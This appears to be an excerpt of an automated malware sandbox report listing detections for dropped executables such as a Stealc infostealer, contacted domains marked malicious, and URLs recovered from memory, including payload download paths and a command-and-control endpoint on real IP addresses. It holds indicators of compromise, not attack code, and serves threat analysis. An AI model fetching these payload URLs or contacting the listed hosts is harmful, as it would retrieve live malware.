C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1001245001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	45%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://json-schema.org/draft/2019-09/schema.	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://MD8.mozilla.org/1/m	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
http://json-schema.org/draft-07/schema#-	0%	URL Reputation	safe
https://api.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/mobile	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
steamcommunity.com	104.102.49.254	true	true	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
sergei-esenin.com	104.21.53.8	true	true	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	172.217.18.14	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
spirittunek.store	unknown	unknown	true	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
licendfilteo.site	unknown	unknown	true	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
support.mozilla.org	unknown	unknown	false	unknown
eaglepawnoy.store	unknown	unknown	true	unknown
bathdoomgaz.store	unknown	unknown	true	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
studennotediw.store	unknown	unknown	true	unknown
mobbipenju.store	unknown	unknown	true	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dissapoiznw.store	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	file.exe, 00000000.00000003.2126603283.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/	file.exe, file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283943556.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126652942.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203693833.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126806636.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184041337.0000000005731000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184166845.000000000573A000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772790381.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2773045040.000000000142A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3146705531.00000255782D7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 0000001B.00000002.3109890652.0000025509903000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3094563100.000002550923D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3140692267.000002551043A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507CD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3090601585.0000025508DF6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 0000001B.00000002.3037710941.0000025505945000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpn	RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/userShow	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3114655458.000002550A388000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2982586081.000002550A0B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A210000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.a	09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpu	RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2357660473.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.orgwidget.use-xdg-desktop-portalbrowser.migration.versionnetwork.proxy.backup	firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3086777923.0000025508790000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885518412.0000025507B3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A267000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2886400929.0000025507B81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884833153.0000025508100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885905066.0000025507B60000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881No	firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://smartblock.firefox.etp/facebook.svghttps://smartblock.firefox.etp/play.svgresource://gre/mod	firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885518412.0000025507B3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884833153.0000025508100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885905066.0000025507B60000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://eaglepawnoy.store:443/api	09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloud	09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/csvImport	firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2141362319.0000000005769000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141309506.000000000576C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141466478.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787827086.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787926502.0000000005D87000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2788192740.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/AS_ROUTER_TELEMETRY_USER_EVENT	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://MD8.mozilla.org/1/m	firefox.exe, 0000001B.00000002.3140692267.00000255104E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000003.2126652942.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126806636.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126725116.0000000000CF3000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772790381.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2773045040.000000000142A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.00000255074B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.clo	09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3114655458.000002550A388000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A210000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://checkout.steampowered.com/	09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2170327401.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/;_cdn=cloudflare	file.exe, 00000000.00000003.2203693833.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2170327401.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2282756998.0000000000D7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3009719972.0000000001480000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.00000255074B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3140692267.000002551043A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/MH;	09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3171740399.0000331855D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/mine/random.exePmS	file.exe, 00000000.00000003.2282756998.0000000000D7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283739354.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2170327401.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemshttp://mozilla.org/#	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpy(OJ	353ab0ae6e.exe, 0000000C.00000002.2828087899.00000000016B2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3119712014.000002550A939000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
